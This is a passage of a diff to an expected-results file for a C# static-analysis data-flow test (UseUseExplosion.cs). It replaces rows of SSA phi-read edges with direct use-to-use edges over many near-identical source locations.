| this access | -| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1843:24:1848 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1843:24:1848 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1858:24:1863 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1858:24:1863 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1873:24:1878 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1873:24:1878 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1888:24:1893 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1888:24:1893 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1903:24:1908 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1903:24:1908 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1918:24:1923 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1918:24:1923 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1933:24:1938 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1933:24:1938 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1948:24:1953 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1948:24:1953 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1963:24:1968 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1963:24:1968 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1978:24:1983 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1978:24:1983 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:1993:24:1998 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:1993:24:1998 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2008:24:2013 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2008:24:2013 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2023:24:2028 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2023:24:2028 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2038:24:2043 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2038:24:2043 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2053:24:2058 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2053:24:2058 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2068:24:2073 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2068:24:2073 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2083:24:2088 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2083:24:2088 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2098:24:2103 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2098:24:2103 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2113:24:2118 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2113:24:2118 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2128:24:2133 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2128:24:2133 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2143:24:2148 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2143:24:2148 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2158:24:2163 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2158:24:2163 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2173:24:2178 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2173:24:2178 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2188:24:2193 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2188:24:2193 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2203:24:2208 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2203:24:2208 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2218:24:2223 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2218:24:2223 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2233:24:2238 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2233:24:2238 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2248:24:2253 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2248:24:2253 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2263:24:2268 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2263:24:2268 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2278:24:2283 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2278:24:2283 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2293:24:2298 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2293:24:2298 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2308:24:2313 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2308:24:2313 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2323:24:2328 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2323:24:2328 | this access | 